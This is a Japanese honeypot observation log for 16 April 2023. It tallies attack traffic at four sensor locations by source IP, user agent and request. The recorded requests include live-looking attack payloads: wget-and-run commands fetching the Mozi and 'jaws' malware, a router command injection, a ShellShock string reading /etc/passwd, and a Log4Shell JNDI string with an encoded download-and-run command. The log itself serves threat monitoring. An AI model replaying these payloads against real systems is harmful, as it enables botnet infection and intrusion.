2023/04/16 ハニーポット(仮) 観測記録

ハニーポット(仮) 観測記録 2023/04/16分です。

特徴

共通

GPONルータの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
zgrabによるスキャン行為
/.envへのスキャン行為

Location:JP

D-link製品の脆弱性を狙うアクセス
curlによるスキャン行為
5.188.210.227に関する不正通信
Gh0stRATのような動き

を確認しました。

Location:US

D-link製品の脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ShellShock脆弱性(CVE-2014-7169)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Apache Solrへのスキャン行為
Laravelへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 94.158.247.123/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget http://192.168.1.1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location:UK

PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
/.gitへのスキャン行為
Apache Solrへのスキャン行為
114.55.6.216に関する不正通信
159.223.124.43に関する不正通信
35.187.120.106に関する不正通信
UserAgentがHello, Worldであるアクセス

を確認しました。

Location:SG

Apache Log4j2の脆弱性(CVE-2021-44228)を狙うアクセス
F5 BIG-IP製品の脆弱性(CVE-2022-1388)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
/.gitへのスキャン行為
Apache Solrへのスキャン行為
WordPress Pluginへのスキャン行為
phpMyAdminへのスキャン行為
5.188.210.227に関する不正通信

を確認しました。

他

アクセス数推移

JP：総アクセス数：110 (前日比：22)
US：総アクセス数：102 (前日比：-123)
UK：総アクセス数：103 (前日比：-120)
SG：総アクセス数：225 (前日比：140)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.188.210.227	Russia
1	18.218.98.244	United States
1	20.55.58.5	United States
1	35.90.225.42	United States
19	43.154.141.71	Singapore
1	45.56.108.128	United States
1	45.79.172.21	United States
1	45.79.181.251	United States
1	45.88.66.237	Bulgaria
1	51.89.247.176	France
1	54.235.5.182	United States
2	62.210.207.17	France
2	67.205.174.143	United States
2	69.164.217.245	United States
1	103.177.185.254	India
1	104.28.219.140	United States
2	104.192.0.50	United States
1	107.170.237.17	United States
2	109.237.97.180	Russia
2	109.237.98.226	Russia
1	134.122.133.58	Singapore
14	135.125.246.110	France
10	138.197.141.250	United States
1	142.93.39.229	United States
4	147.182.213.31	United States
1	161.35.92.220	United States
1	162.243.128.21	United States
1	167.71.69.171	United States
1	167.94.138.36	United States
1	172.104.11.34	United States
1	172.104.11.51	United States
1	172.105.89.161	United States
1	172.105.128.12	United States
1	172.105.128.13	United States
5	178.128.176.129	United States
1	185.202.172.185	Canada
1	185.225.74.42	Bulgaria
3	185.254.196.173	Ukraine
1	192.155.90.118	United States
1	192.155.90.220	United States
9	193.32.162.159	Romania
2	193.35.18.32	Bulgaria
1	198.199.115.100	United States
1	205.210.31.30	United States
2	216.218.206.69	United States

UserAgent一覧

件数	UserAgent
39	-
3	Go-http-client/1.1
2	Mozila/5.0
1	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
1	Mozilla/5.0 (BB10; Touch) AppleWebKit/537.10+ (KHTML, like Gecko) Version/10.1.0.2342 Mobile Safari/537.10+
1	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
19	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
9	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.3
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
1	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
20	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0
2	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1	Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1
1	Mozilla/5.0 zgrab/0.x
1	curl/7.64.0

リクエスト内容一覧

件数	Method	Request	Protocol
1		*1
2		-
1		Gh0st\xad
1		HELP
1		MGLNDD_18.179.20.5_80\n
2		\x16\x03\x01\x01H\x01
1		\x16\x03\x01\x01\x9c\x01
2		\x16\x03\x01\x01\xa6\x01
1		\x16\x03\x01\x01\xb3\x01
1		\x16\x03\x01\x02
14		\x16\x03\x01
1		\x16\x03\x02\x01\x99\x01
1		\x16\x03\x03\x01G\x01
1		\x16\x03\x03\x01U\x01
1		\x16\x03\x03\x01\x98\x01
2		\x16\x03\x03\x01\xa4\x01
2		\x17\x03\x01\x01\x04e
1		\x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc\n
1		\xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff\n
1		\xbf\xbf\xaf\xaf~
23	GET	/.env	HTTP/1.1
1	GET	/3000D00E0000FFFF3F0031313744373731343634304537353046007A7A7A7A7A7A7A7A7A7A7A7A7A7A7A0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000008047A7A7A7A7A7A7A7A7A0000000000000000000000000000000000000000000000000000000000000000	HTTP/1.1
1	GET	/bapi/composite/v1/public/cms/article/latest/query	HTTP/1.1
1	GET	/boaform/admin/formLogin?username=adminisp&psd=adminisp	HTTP/1.0
1	GET	/cdn-cgi/trace	HTTP/1.1
9	GET	/dispatch.asp	HTTP/1.1
1	GET	/druid/index.html	HTTP/1.1
4	GET	/favicon.ico	HTTP/1.1
1	GET	/geoserver/web/	HTTP/1.1
1	GET	/index/about/index.html	HTTP/1.1
1	GET	/systembc/password.php	HTTP/1.0
2	GET	/v3/time	HTTP/1.1
1	GET	/voddetail/47649.html	HTTP/1.1
1	GET	http[:]//5[.]188[.]210[.]227/echo.php	HTTP/1.1
1	GET	http[:]//azenv[.]net/	HTTP/1.1
19	HEAD	/Core/Skin/Login.aspx	HTTP/1.1
2	POST	/HNAP1/	HTTP/1.1
2	POST	/boaform/admin/formLogin	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.39.194.32	United States
2	20.55.58.5	United States
1	27.43.205.74	China
1	35.90.225.42	United States
2	45.79.128.205	United States
1	45.79.181.94	United States
2	45.79.181.179	United States
1	45.79.181.251	United States
1	45.88.66.237	Bulgaria
1	45.92.229.25	Netherlands
16	54.37.79.75	France
1	74.201.28.124	United States
2	85.208.136.147	Bulgaria
7	95.214.235.216	Ukraine
4	104.215.76.202	United States
7	104.248.201.144	United States
2	109.237.97.180	Russia
2	109.237.98.226	Russia
1	111.203.200.201	China
1	118.123.105.86	China
1	120.85.114.23	China
8	152.89.196.54	Russia
1	162.243.148.17	United States
2	167.248.133.125	United States
1	172.104.11.34	United States
1	172.105.128.12	United States
1	172.105.128.13	United States
2	179.43.177.243	Panama
1	183.237.207.140	China
1	185.225.74.42	Bulgaria
1	192.155.90.118	United States
1	192.155.90.220	United States
1	192.241.222.25	United States
10	193.32.162.159	Romania
1	193.35.18.243	Bulgaria
2	193.35.18.251	Bulgaria
1	193.47.61.47	Bulgaria
1	193.56.29.146	United Kingdom
1	194.55.224.203	Bulgaria
2	194.165.16.10	Panama
1	198.199.103.135	United States
1	205.210.31.8	United States
1	212.87.204.23	Bulgaria
2	216.218.206.67	United States
1	223.149.106.25	China

UserAgent一覧

件数	UserAgent
26	-
1	Go-http-client/1.1
1	Hello, World
3	Hello, world
1	Mozila/5.0
2	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15
3	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
8	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
10	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46
33	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
8	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1	Mozilla/5.0 zgrab/0.x
1	Mozilla/5.0
1	\"() { :; }; echo ; /bin/bash -c 'cat /etc/passwd'\"

リクエスト内容一覧

件数	Method	Request	Protocol
1		MGLNDD_34.68.118.83_80\n
2		\x03
1		\x04\x01
2		\x16\x03\x01\x01H\x01
17		\x16\x03\x01
35	GET	/.env	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>	HTTP/1.1
1	GET	/_ignition/execute-solution	HTTP/1.1
1	GET	/cgi-bin/jarrewrite.sh	HTTP/1.1
1	GET	/client/get_targets	HTTP/1.1
1	GET	/console/	HTTP/1.1
10	GET	/dispatch.asp	HTTP/1.1
1	GET	/druid/index.html	HTTP/1.1
3	GET	/favicon.ico	HTTP/1.1
1	GET	/geoip/	HTTP/1.1
1	GET	/geoserver/web/	HTTP/1.1
1	GET	/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws	HTTP/1.1
2	GET	/shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws	HTTP/1.1
1	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/upl.php	HTTP/1.1
1	GET	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	http[:]//azenv[.]net/	HTTP/1.1
1	GET	http[:]//x[.]com/	HTTP/1.1
1	POST	/GponForm/diag_Form?images/	HTTP/1.1
1	POST	/HNAP1/	HTTP/1.1
1	POST	/HNAP1/	HTTP/1.0
8	POST	/boaform/admin/formLogin	HTTP/1.1
1	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	PRI	*	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	27.124.12.21	Singapore
1	35.90.225.42	United States
1	37.115.202.119	Ukraine
1	39.45.73.89	Pakistan
6	45.12.147.2	Cyprus
1	45.33.80.243	United States
1	45.79.128.205	United States
1	45.79.172.21	United States
1	45.79.181.94	United States
2	45.79.181.104	United States
2	45.79.181.251	United States
1	45.88.66.237	Bulgaria
24	54.37.79.75	France
1	60.29.208.118	China
2	64.62.197.38	United States
1	66.240.192.82	United States
1	89.248.165.121	United Kingdom
8	95.214.235.216	Ukraine
1	103.43.19.38	China
2	109.237.97.180	Russia
2	109.237.98.226	Russia
1	143.244.52.21	United Kingdom
7	152.89.196.54	Russia
1	154.6.89.134	United States
2	154.209.125.115	Seychelles
2	167.94.138.34	United States
2	167.248.133.52	United States
1	172.104.131.24	United States
2	172.105.128.12	United States
1	172.105.128.13	United States
4	172.174.225.38	Germany
1	179.43.177.243	Panama
1	185.225.74.42	Bulgaria
1	192.155.90.118	United States
7	193.32.162.159	Romania
1	193.35.18.243	Bulgaria
2	193.35.18.251	Bulgaria
2	194.165.16.76	Panama
1	198.199.96.173	United States
1	198.235.24.25	United States
1	198.235.24.144	United States
1	218.214.241.2	Australia

UserAgent一覧

件数	UserAgent
30	-
2	Go-http-client/1.1
1	Hello, World
2	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 OPR/94.0.0.0 (Edition Yx GX)
7	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
7	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46
1	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
2	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
38	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
6	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1	Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1
2	Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数	Method	Request	Protocol
3		\x03
2		\x16\x03\x01\x01H\x01
15		\x16\x03\x01
36	GET	/.env	HTTP/1.1
4	GET	/.git/config	HTTP/1.1
1	GET	/?20628182016134805143312Ex	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>	HTTP/1.1
1	GET	/actuator/gateway/routes	HTTP/1.1
1	GET	/boaform/admin/formLogin?username=admin&psd=admin	HTTP/1.0
1	GET	/cgi-bin/luci?language=$(wget%20http[:]//163[.]123[.]143[.]126/tenda.sh;sh%20 netlog.sh)
7	GET	/dispatch.asp	HTTP/1.1
1	GET	/druid/index.html	HTTP/1.1
6	GET	/favicon.ico	HTTP/1.1
1	GET	/geoserver/web/	HTTP/1.1
1	GET	/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21	HTTP/1.1
1	GET	/robots.txt	HTTP/1.1
1	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/voddetail/47649.html	HTTP/1.1
1	GET	http[:]//114[.]55[.]6[.]216:50100/ip	HTTP/1.1
1	GET	http[:]//159[.]223[.]124[.]43/	HTTP/1.1
1	GET	http[:]//35[.]187[.]120[.]106/ip	HTTP/1.1
2	GET	http[:]//azenv[.]net/	HTTP/1.1
1	GET	http[:]//httpbin[.]org/ip	HTTP/1.1
1	GET	https[:]//akamai[.]misbehaving[.]site/ip	HTTP/1.1
1	POST	/GponForm/diag_Form?images/	HTTP/1.1
6	POST	/boaform/admin/formLogin	HTTP/1.1
1	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
2	PRI	*	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.188.210.227	Russia
1	5.255.113.11	Netherlands
1	34.29.177.198	United States
1	35.90.225.42	United States
2	45.33.80.243	United States
1	45.56.108.128	United States
1	45.79.172.21	United States
1	45.79.181.94	United States
2	45.79.181.104	United States
1	45.79.181.179	United States
1	45.79.181.251	United States
1	45.88.66.237	Bulgaria
27	51.79.29.48	Canada
1	64.62.197.231	United States
1	64.62.197.239	United States
1	66.240.192.82	United States
7	67.205.149.8	United States
2	79.133.51.221	Germany
1	80.94.92.60	Romania
2	85.208.136.147	Bulgaria
127	103.165.123.154	Indonesia
1	107.170.236.14	United States
1	107.170.255.29	United States
2	109.237.97.180	Russia
2	109.237.98.226	Russia
1	123.125.122.27	China
2	141.95.89.88	France
1	144.76.101.187	Germany
6	152.89.196.54	Russia
2	162.142.125.11	United States
1	172.104.11.34	United States
1	172.104.11.46	United States
1	172.104.11.51	United States
1	172.105.128.12	United States
1	179.43.142.86	Panama
1	179.43.177.243	Panama
1	185.225.74.42	Bulgaria
1	192.241.194.30	United States
9	193.32.162.159	Romania
1	193.35.18.243	Bulgaria
3	193.35.18.251	Bulgaria
1	194.87.151.116	Czechia
1	194.110.203.85	private ip address
1	198.235.24.155	United States

UserAgent一覧

件数	UserAgent
25	-
1	Go-http-client/1.1
3	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1	Mozilla/5.0 (Maemo; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1
3	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
127	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.57
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
6	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
9	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46
1	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1	Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
1	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1
30	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
8	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1	Mozilla/5.0 zgrab/0.x
1	Mozilla/5.0
1	Python-urllib/3.7
1	t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//5[.]255[.]113[.]11:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzUuMjU1LjEyMC44MC9ha3R1YWxpc2llcmVuLnNoIC1vIGFrdHVhbGlzaWVyZW4uc2g7IHdnZXQgaHR0cDovLzUuMjU1LjEyMC44MC9ha3R1YWxpc2llcmVuLnNoOyBjaG1vZCA3NzcgYWt0dWFsaXNpZXJlbi5zaDsgc2ggYWt0dWFsaXNpZXJlbi5zaDsgcm0gLXJmIGFrdHVhbGlzaWVyZW4uc2g7IHJtIC1yZiBha3R1YWxpc2llcmVuLnNoLjE7IHJtIC1yZiBLLio7IHJtIC1yZiBha3R1YWxpc2llcmVuLio=}')

リクエスト内容一覧

件数	Method	Request	Protocol
1		-
1		MGLNDD_13.67.44.234_80
1		\x04\x01
2		\x16\x03\x01\x01H\x01
18		\x16\x03\x01
32	GET	/.env	HTTP/1.1
1	GET	/.git/config	HTTP/1.1
1	GET	/1phpmyadmin/index.php?lang=en	HTTP/1.1
1	GET	/2phpmyadmin/index.php?lang=en	HTTP/1.1
1	GET	/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>	HTTP/1.1
1	GET	/?id=	HTTP/1.1
1	GET	/MyAdmin/index.php?lang=en	HTTP/1.1
2	GET	/PMA/index.php?lang=en	HTTP/1.1
1	GET	/__phpmyadmin/index.php?lang=en	HTTP/1.1
1	GET	/_phpMyAdmin/index.php?lang=en	HTTP/1.1
2	GET	/_phpmyadmin/index.php?lang=en	HTTP/1.1
1	GET	/_phpmyadmin_/index.php?lang=en	HTTP/1.1
1	GET	/actuator/gateway/routes	HTTP/1.1
3	GET	/admin/db/index.php?lang=en	HTTP/1.1
1	GET	/admin/index.php?lang=en	HTTP/1.1
2	GET	/admin/phpMyAdmin/index.php?lang=en	HTTP/1.1
1	GET	/admin/phpmyadmin/index.php?lang=en	HTTP/1.1
1	GET	/admin/sqladmin/index.php?lang=en	HTTP/1.1
1	GET	/admin/sysadmin/index.php?lang=en	HTTP/1.1
1	GET	/admin/web/index.php?lang=en	HTTP/1.1
2	GET	/administrator/PMA/index.php?lang=en	HTTP/1.1
1	GET	/administrator/phpmyadmin/index.php?lang=en	HTTP/1.1
1	GET	/administrator/pma/index.php?lang=en	HTTP/1.1
2	GET	/administrator/web/index.php?lang=en	HTTP/1.1
1	GET	/client/get_targets	HTTP/1.1
1	GET	/database/index.php?lang=en	HTTP/1.1
1	GET	/db/db-admin/index.php?lang=en	HTTP/1.1
2	GET	/db/dbadmin/index.php?lang=en	HTTP/1.1
2	GET	/db/myadmin/index.php?lang=en	HTTP/1.1
2	GET	/db/phpMyAdmin-5/index.php?lang=en	HTTP/1.1
1	GET	/db/phpMyAdmin/index.php?lang=en	HTTP/1.1
1	GET	/db/phpmyadmin/index.php?lang=en	HTTP/1.1
1	GET	/db/phpmyadmin3/index.php?lang=en	HTTP/1.1
1	GET	/db/phpmyadmin4/index.php?lang=en	HTTP/1.1
2	GET	/db/phpmyadmin5/index.php?lang=en	HTTP/1.1
1	GET	/db/webadmin/index.php?lang=en	HTTP/1.1
1	GET	/db/webdb/index.php?lang=en	HTTP/1.1
1	GET	/db/websql/index.php?lang=en	HTTP/1.1
1	GET	/dbadmin/index.php?lang=en	HTTP/1.1
9	GET	/dispatch.asp	HTTP/1.1
1	GET	/druid/index.html	HTTP/1.1
3	GET	/favicon.ico	HTTP/1.1
1	GET	/geoip/	HTTP/1.1
1	GET	/geoserver/web/	HTTP/1.1
1	GET	/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21	HTTP/1.1
1	GET	/myadmin/index.php?lang=en	HTTP/1.1
1	GET	/mysql/admin/index.php?lang=en	HTTP/1.1
1	GET	/mysql/dbadmin/index.php?lang=en	HTTP/1.1
1	GET	/mysql/mysqlmanager/index.php?lang=en	HTTP/1.1
1	GET	/mysql/pMA/index.php?lang=en	HTTP/1.1
1	GET	/mysql/sqlmanager/index.php?lang=en	HTTP/1.1
1	GET	/mysql/web/index.php?lang=en	HTTP/1.1
2	GET	/mysqladmin/index.php?lang=en	HTTP/1.1
1	GET	/mysqlmanager/index.php?lang=en	HTTP/1.1
1	GET	/php-my-admin/index.php?lang=en	HTTP/1.1
1	GET	/php-myadmin/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin-3/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin-4.9.10-all-languages/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin-4.9.7/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin-4/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin-5.1.0/index.php?lang=en	HTTP/1.1
2	GET	/phpMyAdmin-5.1.1/index.php?lang=en	HTTP/1.1
2	GET	/phpMyAdmin-5.2.0-all-languages/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin-5.2.0/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin-5.3.0-all-languages/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin-5.3.0/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin-5/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin-latest-all-languages/index.php?lang=en	HTTP/1.1
2	GET	/phpMyAdmin/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin1/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin2/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin3/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin4/index.php?lang=en	HTTP/1.1
2	GET	/phpMyAdmin5.1/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin5.2/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin_/index.php?lang=en	HTTP/1.1
1	GET	/phpmy-admin/index.php?lang=en	HTTP/1.1
1	GET	/phpmy/index.php?lang=en	HTTP/1.1
1	GET	/phpmyAdmin/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin1/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin2/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin2011/index.php?lang=en	HTTP/1.1
2	GET	/phpmyadmin2012/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin2013/index.php?lang=en	HTTP/1.1
2	GET	/phpmyadmin2014/index.php?lang=en	HTTP/1.1
3	GET	/phpmyadmin2017/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin2018/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin2019/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin2020/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin2021/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin2022/index.php?lang=en	HTTP/1.1
2	GET	/phpmyadmin3/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin4/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin5/index.php?lang=en	HTTP/1.1
2	GET	/phpmyadmin_/index.php?lang=en	HTTP/1.1
1	GET	/pma/index.php?lang=en	HTTP/1.1
1	GET	/program/index.php?lang=en	HTTP/1.1
2	GET	/sendgrid.env	HTTP/1.1
3	GET	/shopdb/index.php?lang=en	HTTP/1.1
